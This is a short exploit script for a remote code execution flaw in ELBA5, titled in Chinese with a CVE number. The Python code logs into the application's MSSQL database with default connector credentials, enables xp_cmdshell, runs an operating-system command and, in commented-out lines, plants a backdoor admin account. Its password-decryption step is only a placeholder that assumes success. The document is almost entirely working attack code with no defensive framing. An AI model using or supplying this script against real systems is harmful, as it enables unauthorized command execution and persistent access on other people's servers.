CVE-2018-25272 ELBA5 远程代码执行漏洞

import pymssql # Configuration host = 'TARGET_IP' user = 'DEFAULT_CONNECTOR_USER' # e.g. 'elba_user' password = 'DEFAULT_CONNECTOR_PASS' db_name = 'ELBA_DB' def exploit(): try: # Step 1: Connect using default connector credentials print(f"[*] Connecting to {host}...") conn = pymssql.connect(host, user, password, db_name) cursor = conn.cursor() print("[+] Connection established!") # Step 2: Decrypt DBA password (Logic depends on specific implementation) # Assuming we retrieved and decrypted the DBA password dba_password = "decrypted_dba_password" print("[+] DBA password decrypted/obtained.") # Step 3: Reconnect as DBA or execute commands if current user has rights to enable xp_cmdshell # In this scenario, we assume the connector user has rights to escalate or we switch context # Enable xp_cmdshell enable_cmd = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;" cursor.execute(enable_cmd) conn.commit() print("[+] xp_cmdshell enabled.") # Step 4: Execute arbitrary command cmd_to_exec = 'whoami' sql_cmd = f"EXEC master..xp_cmdshell '{cmd_to_exec}'" print(f"[*] Executing command: {cmd_to_exec}") cursor.execute(sql_cmd) rows = cursor.fetchall() for row in rows: print(row[0]) # Step 5: Add backdoor user to BEDIENER table # add_user_sql = "INSERT INTO BEDIENER (username, password, is_admin) VALUES ('hacker', 'password', 1)" # cursor.execute(add_user_sql) # conn.commit() # print("[+] Backdoor user added.") conn.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()